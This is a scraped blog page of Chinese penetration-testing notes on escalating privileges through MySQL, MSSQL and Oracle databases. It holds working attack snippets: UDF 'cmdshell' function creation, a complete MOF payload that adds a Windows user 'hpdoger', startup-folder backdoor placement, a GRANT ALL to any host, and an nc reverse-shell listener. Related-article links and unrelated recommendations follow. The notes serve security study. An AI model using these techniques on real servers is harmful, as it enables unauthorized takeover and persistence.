7.22-27MY&MS&ORA等SQL数据库提权

思路:在利用系统溢出漏洞无果情况下,可以采用数据库提权;

前提:数据库服务开启,且获得数据库最高权限账号密码;除Access数据库外,其他数据库基本都存在提权可能;

Mysql提权

思路: 服务探针-信息收集-提权利用-获取权限;

1、读取默认数据库配置文件;(了解其命名和查找规则)

sql data inc config conn database common include



2、读取数据库存储和备份文件(了解数据库存储格式及对应内容)

@@basedir/data/数据库名.表名.myd

思路:找到mysq'l安装路径下的,data文件夹中的user.MYD文件;

密码存储在mysql.user目录;

直接解密root密码,为root

3、利用脚本暴力破解(是否支持外联及如何开启外联

默认root不直接外联;

思路: 将爆破脚本传输上网站服务器;

4、远程本地暴力破解,服务器本地暴力破解

UDF提权(原理mysql调用系统命令函数)

首先:UDF(Userdefined function)是用户自定义函数

1.mysql<5.1,导出目录c:/windows/system32

2.mysql=>5.1,导出数据库安装目录/lib/plugin;存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

思路: 判断数据库版本,执行sql语句select version();,之后查看数据库安装目录,执行select @@basedir;

手工创建plugin目录或利用NTFS流创建

select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION'

创建udf参数命令create function cmdshell returns string soname 'moonnudf.dll'

MOF提权(基于mysql特性)

原理: 利用mof是windows系统一个文件(在 f),托管对象格式;

1、将mof上传至任意可读可写目录下;

利用代码如下

1 #pragma namespace("\\\\.\\root\\subscription")
2 instance of __EventFilter as $EventFilter
3 {
4 EventNamespace = "Root\\Cimv2";
5 Name = "filtP2";
6 Query = "Select * From __InstanceModificationEvent "
7 "Where TargetInstance Isa \"Win32_LocalTime\" "
8 "And TargetInstance.Second = 5";
9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; # 执行命令需修改
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

2.用sql语句将文件导入;

slelct load_file ('上传目录')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

3、等待命令执行成功;

写入启动项(配合操作系统自启动)

win10启动项C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

导出自定义可执行文件到启动目录配置重启执行;

将创建好的后门或执行文件进行服务器启动项写入,配合重启执行;

启动项目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup写入后门;

此时若要利用msf进行攻击写入后门提权则必须先开启数据库外联;

GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password为账密

反弹shell(基于反弹特性命令)

思路:将数据库权限反弹至服务器中,监听服务器端口即可;

nc -l -p 5577

MSSQL提权,转至

[[2023.7.2-3-4Mssql xp_cmdshell提权]]

上述笔记包含 1.xp_cmdshell提权 和 2.sp_oacreate提权

3、沙盒提权

三、Oracle提权

jsp网站后门不需要提权,自带system

提权工具对应三种模式

1、普通用户

2、DBA用户

3、注入模式

7.22-27MY&MS&ORA等SQL数据库提权的更多相关文章

  1. SQL Sever提权

    前言:渗透测试中提权是较为重要的环节,若以低权限身份进行后渗透,测试出的问题相对于高权限的质量会低很多,从一个普通用户,通过手段让自己变为管理员,也可利用操作系统或者应用程序中的错误,设计缺陷或者配置 ...

  2. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  3. Oracle数据库提权(dba权限执行系统命令)

    0x01 提权准备 这里我们先创建一个低权限的用户test SQL> conn sys/admin123@orcl as sysdba; 已连接. SQL> create user tes ...

  4. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  5. [转载]SQL Server提权系列

    本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...

  6. 【汇总】数据库提权(mysql、mssql)

    日期:2018-04-03 11:46:45 作者:Bay0net 介绍:利用 mssql 的 sa 账号提权.利用 MySQL 的 UDF 提权 0x01.mssql 提权 恢复 xp_cmdshe ...

  7. Oracle数据库提权

    一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...

  8. mssql数据库提权(xp_cmdshell)

    1.关于 "xp_cmdshell" "存储过程":其实质就是一个"集合",那么是什么样的结合呢,就是存储在SqlServer中预先定义好的 ...

  9. (数据库提权——Redis)Redis未授权访问漏洞总结

    一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...

  10. mssql数据库提权

    1.关于 “xp_cmdshell” “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写 ...

随机推荐

  1. @ConfigurationProperties 还能这样用

    在编写项目代码时,我们要求更灵活的配置,更好的模块化整合.在 Spring Boot 项目中,为满足以上要求,我们将大量的参数配置在 application.properties 或 applicat ...

  2. 使用Selenium爬取动态网页

    1.使用Selenium爬取动态网页 In [ ]: from selenium import webdriver driver = webdriver.Chrome() driver.get('ht ...

  3. Asp .Net Core 系列:基于 T4 模板生成代码

    目录 简介 组成部分 分类 Visual Studio 中使用T4模板 创建T4模板文件 2. 编写T4模板 3. 转换模板 中心控制Manager 根据 MySQL 数据生成 实体 简介 T4模板, ...

  4. C#:只支持GET和POST方法的浏览器,如何发送PUT/DELETE请求?RESTful WebAPI如何响应?

    理想的RESTful WebAPI采用面向资源的架构,并使用请求的HTTP方法表示针对目标资源的操作类型.但是理想和现实是有距离的,虽然HTTP协议提供了一系列原生的HTTP方法,但是在具体的网络环境 ...

  5. 如何通过minIO在后端实现断点续传

    首先是黑马的媒资管理模块流程图:前端负责计算媒资文件的MD5值,同时对媒资文件进行分块. 后端需要以下几个接口: 1.检查分块是否存在(传入参数为视频唯一标识信息与块信息):检查当前分块是否已经上传至 ...

  6. leetcode2397. 被列覆盖的最多行数 回溯法/枝剪

    第一次手搓一个回溯法,超时后采用枝剪勉强通过 class Solution { int max=0; int numSelect; public int maximumRows(int[][] mat ...

  7. Jmeter汉化成中文版

    1.jmeter安装成功后,默认启动是英文版 2.汉化方法 到jmeter安装目录下找到\bin\jmeter.properties,右键记事本打开定位"#language=en" ...

  8. Windows11重置后出现Windows.old文件夹无法删除,报错C:\Windows.old\WINDOWS\System32\WDI - 目录不是空的。Win11系统Windows.old能删除吗?Windows.old怎么删

    问题: Windows11重置后出现Windows.old文件夹无法删除,报错C:\Windows.old\WINDOWS\System32\WDI - 目录不是空的. 网上的各种方法均不奏效: ht ...

  9. 论文写作:“et al.”和“etc.”在英语中的区别

    "et al."和"etc."在英语中有不同的用法和含义.以下是它们的区别和具体用法: et al. "et al."是拉丁短语" ...

  10. Regardless of the outcome of the Russia-Ukraine war, how can Ukraine avoid paying the weapon fees to the United States after the war?

    According to the agreement between the Ukrainian government and the United States, regardless of the ...